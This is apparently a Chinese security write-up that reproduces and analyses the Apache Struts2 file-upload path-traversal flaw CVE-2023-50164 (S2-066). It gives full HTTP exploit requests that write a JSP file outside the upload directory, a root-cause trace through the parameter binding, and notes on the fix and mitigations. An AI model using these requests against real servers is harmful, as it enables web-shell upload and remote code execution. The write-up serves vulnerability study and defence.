影响:文件上传漏洞,可导致RCE
影响范围:
-
Apache Struts 2.0.0~2.5.32
-
APache Struts 6.0.0~6.3.0.1
修复版本:
-
Apache Struts >= 2.5.33
-
Apache Struts >= 6.3.0.2
reference:
https://www.openwall.com/lists/oss-security/2023/12/07/1
https://lists.apache.org/thread/yh09b3fkf6vz5d6jdgrlvmg60lfwtqhj
https://cwiki.apache.org/confluence/display/WW/S2-066
https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163#diff-c3ff6723ce314bc163facd220f85264aa44661665942eaa24fd2da450a81e929
官方公告:
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.
提取关键信息:file upload、paths traversal
通过公告可以得知此漏洞基本是有路径穿越的文件上传,结合diff:Makes HttpParameters case-insensitive,可以知道漏洞和某些大小写敏感的操作有关
环境搭建
IDEA(便于debug)+Maven+Tomcat
-
IDEA打开项目,一般会自动识别其为web项目,直接配置以下两个地方即可
-
Run => Edit Config… => 新增本地tomcat
3. Project Setting => 一般会识别为Web项目并自动配置,没有的话按这个选择即可
正常文件上传
配置完环境跑起来,直接上传文件抓包,将filename修改为路径穿越 ../test.jsp 如下
POST /struts2_vul_war_exploded/upload HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 222
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close
------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="dest"; filename="../test.jsp"
Content-Type: application/octet-stream
<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB--
不出意外,上传后 ../ 被过滤,只留下了test.jsp
原因:struts2对上传的文件名做了过滤和限制,org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName处,对路径穿越做了防护,取 / 或 后的字符串作为文件名
# 防御路径穿越
protected String getCanonicalName(String originalFileName) {
int forwardSlash = originalFileName.lastIndexOf(47);
int backwardSlash = originalFileName.lastIndexOf(92);
String fileName;
if (forwardSlash != -1 && forwardSlash > backwardSlash) {
fileName = originalFileName.substring(forwardSlash + 1);
} else {
fileName = originalFileName.substring(backwardSlash + 1);
}
return fileName;
}
Debug如下,可以看到在return处已经把 ../ 过滤掉了
构造路径穿越
直接看怎么构造绕过
数据包如下
POST /struts2_vul_war_exploded/upload?destFileName=../test.jsp HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 220
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close
------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="Dest"; filename="test.jsp"
Content-Type: application/octet-stream
<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB--
关注以下几个地方:
-
URL处/upload?destFileName=../test.jsp
-
post body处name=”Dest”
可以看到此时已经成功实现路径穿越
另还有一种构造方式如下:
POST /struts2_vul_war_exploded/upload HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 366
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close
------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="Dest"; filename="xxx"
Content-Type: application/octet-stream
<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="destFileName";
Content-Type: application/octet-stream
../test.jsp
------WebKitFormBoundaryvRy43ECJF8NLXNFB--
分析过程此处粘贴几个链接
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/
https://mp.weixin.qq.com/s/SVJHsmvLqHwZoNKmFNvXcA
都写得非常好,笔者不再过多赘述,接下来直接看以上数据包是怎么绕过过滤的
从上下文获取HttpParameter对象
从上下文获取HttpParameter对象,首先需要在org.apache.struts2.dispatcher.Dispatcher#createContextMap(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, org.apache.struts2.dispatcher.mapper.ActionMapping)处,保存请求的参数
这个地方保存的东西如下:
可以看到此时的value为路径穿越的payload
其中一些调用栈如下
createContextMap:634, Dispatcher (org.apache.struts2.dispatcher)
createActionContext:83, PrepareOperations (org.apache.struts2.dispatcher)
doFilter:132, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
...
对文件名进行处理
获取完上下文内容后(保存了URL请求的参数,也即路径穿越的payload),开始进入文件上传action的post body解析;在org.apache.struts2.interceptor.FileUploadInterceptor#intercept中,对文件进行处理
此时处理完的结果如下:DestFileName的值为test.jsp
回忆一下,此时保存了两个主要参数:
-
请求参数destFileName=../test.jsp
-
post body参数DestFileName=test.jsp
参数绑定
com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept处调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters进行了参数绑定
能看到此时HttpParameters对象有4个属性,在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters中执行setter操作,此时我们可以发现
{
"DestFileName": "test.jsp",
"destFileName": "../test.jsp"
}
回到我们的Action中,可以发现此时被赋予的值已经成功路径穿越了
漏洞到此就正向分析完毕了,可能有人会有疑问,为什么一定要这么构造呢?因此我稍微总结一下堆栈和数据流的调用链帮助更好理解
-
从上下文获取HttpParameter对象
将/struts2_vul_war_exploded/upload?destFileName=../test.jsp的请求参数进行赋值,得到destFileName=../test.jsp
-
在post body中对数据包的name进行构造,将其首字母大写得到name=”Dest”
此时进入文件上传的拦截器逻辑,对数据包进行处理,包括(1)name字段拼接字符串FileName;(2)filename字段进行 / 、 过滤
如果此时没有将首字母大写,则会被拼接为destFileName,后面在进行KV赋值时,会覆盖第一步从上下文获取HttpParameter对象的值,也即../test.jsp被覆盖成了test.jsp
-
为什么必须是请求参数小写,post body的name字段大写?
我们稍微改下数据包,令URL为/struts2_vul_war_exploded/upload?DestFileName=../test.jsp,post body为name=”dest”,然后发包debug,在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters中我们可以发现,此时的赋值情况和我们传入的参数一致,接着开始调用setter方法进行赋值
接下来就是重点了:
这个和ognl.OgnlRuntime#addIfAccessor有关,在调用setter方法时,会判断baseName,这个的意思就是,我的setter方法名是setDestFileName,需要满足baseName为DestFileName
而baseName也是会做处理的,在ognl.OgnlRuntime#capitalizeBeanPropertyName中,有这么一段代码:
这里主要的作用是:如果字符串是小写开头且第二个字符不是大写的,则将首字符大写返回;因此若我们传入的字符串为destFileName,则baseName会被处理为DestFileName,这会导致什么结果呢?还记得我们的赋值情况吗?
# 漏洞利用成功时的map:
{
"DestFileName": "test.jsp",
"destFileName": "../test.jsp"
}
# 漏洞不能利用成功的map:
{
"DestFileName": "../test.jsp",
"destFileName": "test.jsp"
}
区别就在于这里了,漏洞利用成功时,先赋值DestFileName=test.jsp,而destFileName经过ognl.OgnlRuntime#capitalizeBeanPropertyName的处理,destFileName变成了DestFileName,并对其赋../test.jsp的值,导致原本DestFileName=test.jsp被覆盖成了DestFileName=../test.jsp,传入了action中实现路径穿越;
而漏洞利用不成功的原因也很显而易见了,因为DestFileName先被赋予了../test.jsp后又被覆盖为test.jsp,自然也就利用失败了
出现这个情况的另一个重点在于此处:
如上,用于赋值的acceptableParameters是TreeMap,这种map有个什么特性呢?
看出差别了吗,TreeMap有个很大的特点就是其排列顺序会根据key的首字母排,因此首字母大写的key会排在小写的前面,这就回答了前面的问题:”为什么必须是请求参数小写,post body的name字段大写?“——因为需要将payload赋值给小写的请求参数,令其(1)不经过s2框架对postbody的过滤;(2)调用setter时排在大写的字段后面,令其payload可以覆盖被过滤的、大写的参数
一句话总结:将payload赋给首字母小写的、能不经过s2框架过滤的参数;首字母大写的、需要经过s2框架过滤的参数随意赋值,最后由于TreeMap的排序特性,setter会先赋值大写的参数(随意是啥),再将小写参数的payload赋值覆盖,形成路径穿越
官方修复是取消了大小写敏感,因此第一次获取的HttpParameter对象会被后面post body取得name字段覆盖,实现拦截器的过滤作用
缓解:waf、rasp均需注意路径穿越的payload
本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
原文始发于微信公众号(华为安全应急响应中心):Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)